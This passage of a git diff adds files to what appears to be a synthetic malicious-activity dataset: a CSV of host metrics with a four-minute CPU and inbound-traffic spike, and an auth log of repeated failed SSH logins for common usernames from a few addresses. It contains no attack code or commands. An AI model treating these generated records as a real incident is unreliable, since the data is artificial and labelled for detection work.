sshd[24386]: Invalid user ec2-user from 185.191.205.11 port 26764 +Aug 17 10:05:49 sshd[24386]: Invalid user backup from 185.191.205.10 port 46514 +Aug 17 10:05:49 sshd[24386]: Invalid user sqladmin from 185.191.205.11 port 51290 +Aug 17 10:05:50 CRON[5235]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 17 10:06:15 systemd[1]: Starting Daily apt download activities... +Aug 17 10:06:17 systemd[1]: Finished Daily apt download activities. +Aug 17 10:06:40 CRON[5663]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_7/mali_7_10.csv b/mali_dataset/scenario_7/mali_7_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..b394592d4a08aab3e1d91a230464ac8fb03dd9c5 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,12.38,38.62,38.49,0.79,1.0 +2025-08-15T10:00:05Z,19.25,39.53,30.69,1.07,0.53 +2025-08-15T10:00:10Z,12.58,44.46,20.84,0.52,1.43 +2025-08-15T10:00:15Z,19.27,42.98,36.16,0.84,1.12 +2025-08-15T10:00:20Z,16.02,44.08,36.33,1.01,1.24 +2025-08-15T10:00:25Z,13.49,41.09,33.61,0.65,1.13 +2025-08-15T10:00:30Z,10.95,44.33,25.66,1.23,0.94 +2025-08-15T10:00:35Z,13.39,39.13,23.25,1.14,0.65 +2025-08-15T10:00:40Z,17.87,39.41,20.49,0.99,0.67 +2025-08-15T10:00:45Z,10.04,37.55,23.3,1.09,1.41 +2025-08-15T10:00:50Z,11.45,39.45,34.62,1.09,1.03 +2025-08-15T10:00:55Z,14.73,40.85,27.8,0.51,1.11 +2025-08-15T10:01:00Z,12.5,40.02,24.12,0.84,0.54 +2025-08-15T10:01:05Z,12.88,44.65,21.67,1.48,0.65 +2025-08-15T10:01:10Z,16.81,42.79,34.89,0.54,1.2 +2025-08-15T10:01:15Z,11.32,38.01,24.84,1.09,1.32 +2025-08-15T10:01:20Z,10.45,44.88,33.31,0.79,0.94 +2025-08-15T10:01:25Z,13.59,40.92,35.28,0.82,1.21 +2025-08-15T10:01:30Z,15.33,36.87,25.79,1.31,1.15 +2025-08-15T10:01:35Z,10.7,36.63,22.62,0.8,0.71 +2025-08-15T10:01:40Z,14.66,35.86,31.53,1.04,0.64 +2025-08-15T10:01:45Z,10.86,36.46,26.15,1.47,0.98 +2025-08-15T10:01:50Z,19.22,35.82,36.72,1.3,0.71 +2025-08-15T10:01:55Z,12.48,43.22,34.03,1.13,0.83 +2025-08-15T10:02:00Z,19.4,36.37,35.02,1.22,1.3 +2025-08-15T10:02:05Z,18.58,36.61,34.99,1.21,1.12 +2025-08-15T10:02:10Z,13.29,44.75,24.2,1.13,1.14 +2025-08-15T10:02:15Z,18.57,41.38,35.25,1.34,0.64 +2025-08-15T10:02:20Z,14.25,43.71,30.69,1.48,1.41 +2025-08-15T10:02:25Z,14.97,37.37,38.86,1.11,1.13 +2025-08-15T10:02:30Z,87.55,47.83,34.65,11.26,0.9 +2025-08-15T10:02:35Z,94.85,39.85,40.87,13.39,1.0 +2025-08-15T10:02:40Z,81.75,44.73,39.83,12.35,1.06 +2025-08-15T10:02:45Z,90.24,39.81,27.15,11.48,0.96 +2025-08-15T10:02:50Z,82.89,44.37,42.84,20.77,1.35 +2025-08-15T10:02:55Z,91.21,43.98,36.55,14.71,0.65 +2025-08-15T10:03:00Z,82.89,46.7,41.93,18.45,1.08 +2025-08-15T10:03:05Z,94.46,46.04,38.58,9.0,1.15 +2025-08-15T10:03:10Z,81.28,39.88,42.77,13.27,1.46 +2025-08-15T10:03:15Z,82.65,45.87,40.46,9.55,0.54 +2025-08-15T10:03:20Z,91.88,47.95,28.59,15.61,0.65 +2025-08-15T10:03:25Z,87.54,38.54,26.19,9.71,0.82 +2025-08-15T10:03:30Z,86.32,42.85,41.32,13.75,0.6 +2025-08-15T10:03:35Z,84.99,39.95,28.03,14.88,0.63 +2025-08-15T10:03:40Z,80.72,42.41,28.44,9.75,1.38 +2025-08-15T10:03:45Z,86.85,39.23,29.54,15.6,1.0 +2025-08-15T10:03:50Z,86.19,41.09,43.61,17.83,1.48 +2025-08-15T10:03:55Z,91.84,41.03,31.19,10.29,1.43 +2025-08-15T10:04:00Z,86.24,38.79,25.23,16.92,0.54 +2025-08-15T10:04:05Z,89.45,41.81,38.74,19.24,1.5 +2025-08-15T10:04:10Z,92.4,42.46,43.58,13.98,1.37 +2025-08-15T10:04:15Z,84.22,43.39,29.99,12.92,0.89 +2025-08-15T10:04:20Z,91.48,45.49,30.27,8.44,1.29 +2025-08-15T10:04:25Z,86.09,46.02,26.9,19.35,0.81 +2025-08-15T10:04:30Z,83.07,40.49,35.04,11.9,0.59 +2025-08-15T10:04:35Z,82.96,43.96,34.1,9.9,0.93 +2025-08-15T10:04:40Z,80.59,38.83,40.71,8.81,0.54 +2025-08-15T10:04:45Z,91.26,46.09,42.44,19.69,1.15 +2025-08-15T10:04:50Z,88.49,39.61,41.87,19.11,1.2 +2025-08-15T10:04:55Z,80.23,42.68,27.02,19.41,1.49 +2025-08-15T10:05:00Z,89.38,45.54,35.8,7.11,0.51 +2025-08-15T10:05:05Z,86.6,44.39,35.75,16.34,0.68 +2025-08-15T10:05:10Z,85.74,46.34,35.34,18.29,0.71 +2025-08-15T10:05:15Z,81.51,40.71,28.34,10.9,0.64 +2025-08-15T10:05:20Z,90.84,44.35,30.41,14.07,0.67 +2025-08-15T10:05:25Z,82.0,38.42,41.58,19.28,0.89 +2025-08-15T10:05:30Z,89.85,44.86,37.65,11.84,1.34 +2025-08-15T10:05:35Z,80.29,44.12,44.97,18.76,1.15 +2025-08-15T10:05:40Z,93.95,41.66,40.69,16.61,0.86 +2025-08-15T10:05:45Z,91.82,42.42,26.86,13.62,1.23 +2025-08-15T10:05:50Z,93.22,46.53,44.06,14.86,1.01 +2025-08-15T10:05:55Z,94.84,44.38,40.3,22.22,1.18 +2025-08-15T10:06:00Z,80.24,47.76,31.42,14.37,0.92 +2025-08-15T10:06:05Z,84.7,42.62,29.04,18.0,0.57 +2025-08-15T10:06:10Z,93.69,45.68,43.57,19.23,1.31 +2025-08-15T10:06:15Z,82.42,39.6,35.53,17.17,0.65 +2025-08-15T10:06:20Z,88.47,47.4,31.67,16.23,0.81 +2025-08-15T10:06:25Z,92.46,46.54,40.13,14.16,1.42 +2025-08-15T10:06:30Z,93.51,41.76,32.31,16.21,1.01 +2025-08-15T10:06:35Z,82.7,39.4,34.8,17.14,1.26 +2025-08-15T10:06:40Z,12.42,36.95,34.91,1.25,1.1 +2025-08-15T10:06:45Z,16.11,42.34,30.33,1.03,1.48 +2025-08-15T10:06:50Z,11.09,35.12,36.42,0.7,1.5 +2025-08-15T10:06:55Z,12.52,43.25,26.15,0.78,0.82 +2025-08-15T10:07:00Z,13.87,40.96,35.59,0.6,0.78 +2025-08-15T10:07:05Z,18.65,39.65,31.29,1.35,1.49 +2025-08-15T10:07:10Z,12.86,41.5,31.78,0.62,1.13 +2025-08-15T10:07:15Z,10.13,36.53,33.56,0.92,0.9 +2025-08-15T10:07:20Z,17.33,44.43,21.45,1.15,0.89 +2025-08-15T10:07:25Z,11.79,42.26,34.93,0.81,1.14 diff --git a/mali_dataset/scenario_7/mali_7_10.log b/mali_dataset/scenario_7/mali_7_10.log new file mode 100644 index 0000000000000000000000000000000000000000..5bdcef6cd985b14f46adab6bcc387d7ffe5200c1 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_10.log @@ -0,0 +1,262 @@ +Aug 15 10:00:00 auth-server systemd[1]: Starting daily clean up activities... +Aug 15 10:00:00 auth-server sshd[2003]: Accepted password for realuser from 10.0.1.5 port 54321 ssh2 +Aug 15 10:00:40 auth-server sshd[2003]: Accepted password for realuser from 10.0.1.5 port 54321 ssh2 +Aug 15 10:01:15 auth-server systemd[1]: Starting daily clean up activities... +Aug 15 10:01:20 auth-server sshd[2003]: Accepted password for realuser from 10.0.1.5 port 54321 ssh2 +Aug 15 10:02:00 auth-server sshd[2003]: Accepted password for realuser from 10.0.1.5 port 54321 ssh2 +Aug 15 10:02:05 auth-server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:30 auth-server systemd[1]: Starting daily clean up activities... +Aug 15 10:02:31 auth-server sshd[2003]: Failed password for invalid user oracle from 104.248.156.91 port 53554 ssh2 +Aug 15 10:02:31 auth-server sshd[2003]: Failed password for user from 104.248.156.91 port 39214 ssh2 +Aug 15 10:02:32 auth-server sshd[2003]: Failed password for invalid user ubnt from 206.189.87.213 port 15862 ssh2 +Aug 15 10:02:32 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 57644 ssh2 +Aug 15 10:02:33 auth-server sshd[2003]: Failed password for invalid user test from 188.166.219.45 port 22226 ssh2 +Aug 15 10:02:35 auth-server sshd[2003]: Failed password for invalid user guest from 198.199.101.55 port 53066 ssh2 +Aug 15 10:02:36 auth-server sshd[2003]: Failed password for invalid user user from 188.166.219.45 port 48454 ssh2 +Aug 15 10:02:36 auth-server sshd[2003]: Failed password for invalid user oracle from 188.166.219.45 port 57837 ssh2 +Aug 15 10:02:36 auth-server sshd[2003]: Failed password for invalid user oracle from 188.166.219.45 port 53630 ssh2 +Aug 15 10:02:37 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 29692 ssh2 +Aug 15 10:02:37 auth-server sshd[2003]: Failed password for user from 198.199.101.55 port 21127 ssh2 +Aug 15 10:02:38 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 44344 ssh2 +Aug 15 10:02:40 auth-server sshd[2003]: Failed password for invalid user support from 206.189.87.213 port 26037 ssh2 +Aug 15 10:02:40 auth-server sshd[2003]: Failed password for invalid user admin from 104.248.156.91 port 21962 ssh2 +Aug 15 10:02:42 auth-server sshd[2003]: Failed password for invalid user ubnt from 206.189.87.213 port 18204 ssh2 +Aug 15 10:02:42 auth-server sshd[2003]: Failed password for invalid user test from 104.248.156.91 port 52895 ssh2 +Aug 15 10:02:43 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 12027 ssh2 +Aug 15 10:02:43 auth-server sshd[2003]: Failed password for invalid user ubnt from 198.199.101.55 port 30420 ssh2 +Aug 15 10:02:43 auth-server sshd[2003]: Failed password for invalid user test from 198.199.101.55 port 28061 ssh2 +Aug 15 10:02:45 auth-server sshd[2003]: Failed password for invalid user oracle from 188.166.219.45 port 39837 ssh2 +Aug 15 10:02:45 auth-server sshd[2003]: Failed password for user from 198.199.101.55 port 53338 ssh2 +Aug 15 10:02:48 auth-server sshd[2003]: Failed password for invalid user support from 206.189.87.213 port 46334 ssh2 +Aug 15 10:02:49 auth-server sshd[2003]: Failed password for user from 104.248.156.91 port 11909 ssh2 +Aug 15 10:02:49 auth-server sshd[2003]: Failed password for invalid user test from 198.199.101.55 port 38747 ssh2 +Aug 15 10:02:50 auth-server sshd[2003]: Failed password for root from 188.166.219.45 port 50784 ssh2 +Aug 15 10:02:50 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 19603 ssh2 +Aug 15 10:02:51 auth-server sshd[2003]: Failed password for invalid user guest from 198.199.101.55 port 22107 ssh2 +Aug 15 10:02:52 auth-server sshd[2003]: Failed password for invalid user test from 188.166.219.45 port 50385 ssh2 +Aug 15 10:02:52 auth-server sshd[2003]: Failed password for invalid user oracle from 104.248.156.91 port 32974 ssh2 +Aug 15 10:02:53 auth-server sshd[2003]: Failed password for admin from 188.166.219.45 port 64110 ssh2 +Aug 15 10:02:53 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 10064 ssh2 +Aug 15 10:02:56 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 50944 ssh2 +Aug 15 10:02:56 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 10542 ssh2 +Aug 15 10:02:57 auth-server sshd[2003]: Failed password for admin from 188.166.219.45 port 34111 ssh2 +Aug 15 10:02:57 auth-server sshd[2003]: Failed password for invalid user admin from 104.248.156.91 port 55232 ssh2 +Aug 15 10:02:58 auth-server sshd[2003]: Failed password for user from 206.189.87.213 port 31003 ssh2 +Aug 15 10:03:00 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 32680 ssh2 +Aug 15 10:03:00 auth-server sshd[2003]: Failed password for invalid user test from 188.166.219.45 port 23861 ssh2 +Aug 15 10:03:03 auth-server sshd[2003]: Failed password for invalid user root from 188.166.219.45 port 47761 ssh2 +Aug 15 10:03:03 auth-server sshd[2003]: Failed password for invalid user root from 104.248.156.91 port 27878 ssh2 +Aug 15 10:03:06 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 41834 ssh2 +Aug 15 10:03:06 auth-server sshd[2003]: Failed password for root from 206.189.87.213 port 41641 ssh2 +Aug 15 10:03:06 auth-server sshd[2003]: Failed password for invalid user root from 104.248.156.91 port 51647 ssh2 +Aug 15 10:03:06 auth-server sshd[2003]: Failed password for invalid user guest from 188.166.219.45 port 65355 ssh2 +Aug 15 10:03:07 auth-server sshd[2003]: Failed password for admin from 188.166.219.45 port 15003 ssh2 +Aug 15 10:03:07 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 32436 ssh2 +Aug 15 10:03:09 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 39516 ssh2 +Aug 15 10:03:10 auth-server sshd[2003]: Failed password for invalid user root from 198.199.101.55 port 17125 ssh2 +Aug 15 10:03:11 auth-server sshd[2003]: Failed password for invalid user support from 104.248.156.91 port 54748 ssh2 +Aug 15 10:03:11 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 14683 ssh2 +Aug 15 10:03:11 auth-server sshd[2003]: Failed password for invalid user test from 188.166.219.45 port 23199 ssh2 +Aug 15 10:03:13 auth-server sshd[2003]: Failed password for invalid user oracle from 104.248.156.91 port 41979 ssh2 +Aug 15 10:03:14 auth-server sshd[2003]: Failed password for invalid user admin from 198.199.101.55 port 10175 ssh2 +Aug 15 10:03:16 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 59025 ssh2 +Aug 15 10:03:18 auth-server sshd[2003]: Failed password for invalid user admin from 198.199.101.55 port 57506 ssh2 +Aug 15 10:03:19 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 47120 ssh2 +Aug 15 10:03:21 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 30242 ssh2 +Aug 15 10:03:22 auth-server sshd[2003]: Failed password for invalid user user from 188.166.219.45 port 52578 ssh2 +Aug 15 10:03:23 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 53466 ssh2 +Aug 15 10:03:23 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 43521 ssh2 +Aug 15 10:03:23 auth-server sshd[2003]: Failed password for invalid user user from 188.166.219.45 port 27828 ssh2 +Aug 15 10:03:26 auth-server sshd[2003]: Failed password for invalid user support from 206.189.87.213 port 11219 ssh2 +Aug 15 10:03:27 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 11968 ssh2 +Aug 15 10:03:27 auth-server sshd[2003]: Failed password for invalid user root from 188.166.219.45 port 42422 ssh2 +Aug 15 10:03:29 auth-server sshd[2003]: Failed password for invalid user support from 104.248.156.91 port 42961 ssh2 +Aug 15 10:03:30 auth-server sshd[2003]: Failed password for invalid user root from 206.189.87.213 port 21572 ssh2 +Aug 15 10:03:31 auth-server sshd[2003]: Failed password for invalid user oracle from 188.166.219.45 port 13873 ssh2 +Aug 15 10:03:32 auth-server sshd[2003]: Failed password for root from 206.189.87.213 port 17686 ssh2 +Aug 15 10:03:33 auth-server sshd[2003]: Failed password for invalid user guest from 104.248.156.91 port 64204 ssh2 +Aug 15 10:03:35 auth-server sshd[2003]: Failed password for invalid user support from 104.248.156.91 port 10078 ssh2 +Aug 15 10:03:35 auth-server sshd[2003]: Failed password for invalid user ubnt from 198.199.101.55 port 32721 ssh2 +Aug 15 10:03:36 auth-server sshd[2003]: Failed password for invalid user test from 104.248.156.91 port 28285 ssh2 +Aug 15 10:03:38 auth-server sshd[2003]: Failed password for invalid user root from 198.199.101.55 port 24926 ssh2 +Aug 15 10:03:40 auth-server sshd[2003]: Failed password for invalid user admin from 188.166.219.45 port 63000 ssh2 +Aug 15 10:03:43 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 43510 ssh2 +Aug 15 10:03:43 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 51834 ssh2 +Aug 15 10:03:45 auth-server systemd[1]: Starting daily clean up activities... +Aug 15 10:03:46 auth-server sshd[2003]: Failed password for invalid user admin from 104.248.156.91 port 50880 ssh2 +Aug 15 10:03:47 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 60274 ssh2 +Aug 15 10:03:49 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 31168 ssh2 +Aug 15 10:03:50 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 43979 ssh2 +Aug 15 10:03:51 auth-server sshd[2003]: Failed password for invalid user guest from 188.166.219.45 port 45319 ssh2 +Aug 15 10:03:51 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 61645 ssh2 +Aug 15 10:03:53 auth-server sshd[2003]: Failed password for root from 198.199.101.55 port 55231 ssh2 +Aug 15 10:03:53 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 14066 ssh2 +Aug 15 10:03:55 auth-server sshd[2003]: Failed password for invalid user test from 198.199.101.55 port 44336 ssh2 +Aug 15 10:03:55 auth-server sshd[2003]: Failed password for invalid user oracle from 188.166.219.45 port 13172 ssh2 +Aug 15 10:03:57 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 33692 ssh2 +Aug 15 10:03:57 auth-server sshd[2003]: Failed password for invalid user root from 104.248.156.91 port 20937 ssh2 +Aug 15 10:03:58 auth-server sshd[2003]: Failed password for invalid user ubnt from 104.248.156.91 port 59416 ssh2 +Aug 15 10:03:59 auth-server sshd[2003]: Failed password for invalid user root from 198.199.101.55 port 14517 ssh2 +Aug 15 10:03:59 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 21603 ssh2 +Aug 15 10:04:00 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 61989 ssh2 +Aug 15 10:04:01 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 61290 ssh2 +Aug 15 10:04:02 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 52918 ssh2 +Aug 15 10:04:03 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 45071 ssh2 +Aug 15 10:04:04 auth-server sshd[2003]: Failed password for invalid user oracle from 188.166.219.45 port 51463 ssh2 +Aug 15 10:04:05 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 59648 ssh2 +Aug 15 10:04:06 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 60880 ssh2 +Aug 15 10:04:07 auth-server sshd[2003]: Failed password for admin from 198.199.101.55 port 56250 ssh2 +Aug 15 10:04:07 auth-server sshd[2003]: Failed password for invalid user guest from 198.199.101.55 port 28884 ssh2 +Aug 15 10:04:07 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 53630 ssh2 +Aug 15 10:04:10 auth-server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:11 auth-server sshd[2003]: Failed password for invalid user guest from 198.199.101.55 port 59440 ssh2 +Aug 15 10:04:11 auth-server sshd[2003]: Failed password for root from 104.248.156.91 port 35879 ssh2 +Aug 15 10:04:12 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 40984 ssh2 +Aug 15 10:04:15 auth-server sshd[2003]: Failed password for invalid user ubnt from 206.189.87.213 port 41157 ssh2 +Aug 15 10:04:16 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 29888 ssh2 +Aug 15 10:04:16 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 64065 ssh2 +Aug 15 10:04:18 auth-server sshd[2003]: Failed password for invalid user root from 198.199.101.55 port 17379 ssh2 +Aug 15 10:04:21 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 39382 ssh2 +Aug 15 10:04:21 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 53197 ssh2 +Aug 15 10:04:22 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 24717 ssh2 +Aug 15 10:04:23 auth-server sshd[2003]: Failed password for user from 104.248.156.91 port 57102 ssh2 +Aug 15 10:04:24 auth-server sshd[2003]: Failed password for root from 206.189.87.213 port 27265 ssh2 +Aug 15 10:04:27 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 61875 ssh2 +Aug 15 10:04:29 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 30591 ssh2 +Aug 15 10:04:29 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 39792 ssh2 +Aug 15 10:04:30 auth-server sshd[2003]: Failed password for invalid user user from 188.166.219.45 port 15201 ssh2 +Aug 15 10:04:31 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 64722 ssh2 +Aug 15 10:04:31 auth-server sshd[2003]: Failed password for invalid user guest from 198.199.101.55 port 26401 ssh2 +Aug 15 10:04:32 auth-server sshd[2003]: Failed password for invalid user ubnt from 104.248.156.91 port 26573 ssh2 +Aug 15 10:04:35 auth-server sshd[2003]: Failed password for invalid user test from 104.248.156.91 port 10158 ssh2 +Aug 15 10:04:38 auth-server sshd[2003]: Failed password for invalid user admin from 188.166.219.45 port 49101 ssh2 +Aug 15 10:04:38 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 41039 ssh2 +Aug 15 10:04:39 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 29257 ssh2 +Aug 15 10:04:39 auth-server sshd[2003]: Failed password for user from 206.189.87.213 port 38198 ssh2 +Aug 15 10:04:40 auth-server sshd[2003]: Failed password for root from 206.189.87.213 port 60409 ssh2 +Aug 15 10:04:40 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 19483 ssh2 +Aug 15 10:04:41 auth-server sshd[2003]: Failed password for invalid user root from 206.189.87.213 port 39137 ssh2 +Aug 15 10:04:41 auth-server sshd[2003]: Failed password for invalid user guest from 104.248.156.91 port 57478 ssh2 +Aug 15 10:04:43 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 24571 ssh2 +Aug 15 10:04:43 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 19472 ssh2 +Aug 15 10:04:44 auth-server sshd[2003]: Failed password for invalid user guest from 188.166.219.45 port 41756 ssh2 +Aug 15 10:04:45 auth-server sshd[2003]: Failed password for invalid user admin from 188.166.219.45 port 31891 ssh2 +Aug 15 10:04:45 auth-server sshd[2003]: Failed password for invalid user guest from 188.166.219.45 port 24943 ssh2 +Aug 15 10:04:46 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 40784 ssh2 +Aug 15 10:04:47 auth-server sshd[2003]: Failed password for invalid user root from 188.166.219.45 port 50938 ssh2 +Aug 15 10:04:47 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 21060 ssh2 +Aug 15 10:04:48 auth-server sshd[2003]: Failed password for user from 198.199.101.55 port 13806 ssh2 +Aug 15 10:04:49 auth-server sshd[2003]: Failed password for admin from 206.189.87.213 port 48198 ssh2 +Aug 15 10:04:51 auth-server sshd[2003]: Failed password for invalid user admin from 198.199.101.55 port 52426 ssh2 +Aug 15 10:04:52 auth-server sshd[2003]: Failed password for invalid user ubnt from 206.189.87.213 port 52575 ssh2 +Aug 15 10:04:52 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 29047 ssh2 +Aug 15 10:04:53 auth-server sshd[2003]: Failed password for invalid user root from 206.189.87.213 port 64691 ssh2 +Aug 15 10:04:53 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 40832 ssh2 +Aug 15 10:04:54 auth-server sshd[2003]: Failed password for root from 104.248.156.91 port 55058 ssh2 +Aug 15 10:04:56 auth-server sshd[2003]: Failed password for invalid user user from 188.166.219.45 port 25806 ssh2 +Aug 15 10:04:59 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 55347 ssh2 +Aug 15 10:04:59 auth-server sshd[2003]: Failed password for invalid user ubnt from 206.189.87.213 port 44620 ssh2 +Aug 15 10:05:00 auth-server systemd[1]: Starting daily clean up activities... +Aug 15 10:05:01 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 24206 ssh2 +Aug 15 10:05:02 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 10102 ssh2 +Aug 15 10:05:03 auth-server sshd[2003]: Failed password for admin from 104.248.156.91 port 64536 ssh2 +Aug 15 10:05:03 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 49097 ssh2 +Aug 15 10:05:05 auth-server sshd[2003]: Failed password for invalid user user from 188.166.219.45 port 38989 ssh2 +Aug 15 10:05:06 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 47662 ssh2 +Aug 15 10:05:09 auth-server sshd[2003]: Failed password for user from 104.248.156.91 port 11145 ssh2 +Aug 15 10:05:10 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 11004 ssh2 +Aug 15 10:05:12 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 35938 ssh2 +Aug 15 10:05:12 auth-server sshd[2003]: Failed password for invalid user ubnt from 104.248.156.91 port 50060 ssh2 +Aug 15 10:05:13 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 64333 ssh2 +Aug 15 10:05:13 auth-server sshd[2003]: Failed password for user from 104.248.156.91 port 24196 ssh2 +Aug 15 10:05:13 auth-server sshd[2003]: Failed password for invalid user support from 104.248.156.91 port 19728 ssh2 +Aug 15 10:05:14 auth-server sshd[2003]: Failed password for admin from 206.189.87.213 port 20676 ssh2 +Aug 15 10:05:17 auth-server sshd[2003]: Failed password for invalid user user from 104.248.156.91 port 33222 ssh2 +Aug 15 10:05:18 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 62387 ssh2 +Aug 15 10:05:18 auth-server sshd[2003]: Failed password for invalid user admin from 188.166.219.45 port 37839 ssh2 +Aug 15 10:05:19 auth-server sshd[2003]: Failed password for invalid user admin from 104.248.156.91 port 22057 ssh2 +Aug 15 10:05:20 auth-server sshd[2003]: Failed password for admin from 198.199.101.55 port 11926 ssh2 +Aug 15 10:05:20 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 39147 ssh2 +Aug 15 10:05:21 auth-server sshd[2003]: Failed password for root from 104.248.156.91 port 13031 ssh2 +Aug 15 10:05:22 auth-server sshd[2003]: Failed password for invalid user admin from 188.166.219.45 port 49788 ssh2 +Aug 15 10:05:26 auth-server sshd[2003]: Failed password for invalid user admin from 188.166.219.45 port 44335 ssh2 +Aug 15 10:05:27 auth-server sshd[2003]: Failed password for invalid user root from 104.248.156.91 port 15368 ssh2 +Aug 15 10:05:27 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 42528 ssh2 +Aug 15 10:05:30 auth-server sshd[2003]: Failed password for invalid user ubnt from 104.248.156.91 port 44622 ssh2 +Aug 15 10:05:30 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 63372 ssh2 +Aug 15 10:05:30 auth-server sshd[2003]: Failed password for invalid user root from 206.189.87.213 port 51582 ssh2 +Aug 15 10:05:32 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 37125 ssh2 +Aug 15 10:05:33 auth-server sshd[2003]: Failed password for invalid user oracle from 206.189.87.213 port 27090 ssh2 +Aug 15 10:05:35 auth-server sshd[2003]: Failed password for invalid user ubnt from 104.248.156.91 port 48046 ssh2 +Aug 15 10:05:36 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 18956 ssh2 +Aug 15 10:05:37 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 51207 ssh2 +Aug 15 10:05:38 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 62198 ssh2 +Aug 15 10:05:39 auth-server sshd[2003]: Failed password for invalid user ubnt from 104.248.156.91 port 54822 ssh2 +Aug 15 10:05:42 auth-server sshd[2003]: Failed password for admin from 206.189.87.213 port 10680 ssh2 +Aug 15 10:05:42 auth-server sshd[2003]: Failed password for invalid user ubnt from 206.189.87.213 port 30136 ssh2 +Aug 15 10:05:43 auth-server sshd[2003]: Failed password for invalid user root from 206.189.87.213 port 52671 ssh2 +Aug 15 10:05:44 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 41791 ssh2 +Aug 15 10:05:45 auth-server sshd[2003]: Failed password for invalid user ubnt from 206.189.87.213 port 20034 ssh2 +Aug 15 10:05:47 auth-server sshd[2003]: Failed password for invalid user guest from 188.166.219.45 port 16841 ssh2 +Aug 15 10:05:48 auth-server sshd[2003]: Failed password for invalid user admin from 104.248.156.91 port 45340 ssh2 +Aug 15 10:05:49 auth-server sshd[2003]: Failed password for invalid user root from 188.166.219.45 port 20054 ssh2 +Aug 15 10:05:49 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 26756 ssh2 +Aug 15 10:05:49 auth-server sshd[2003]: 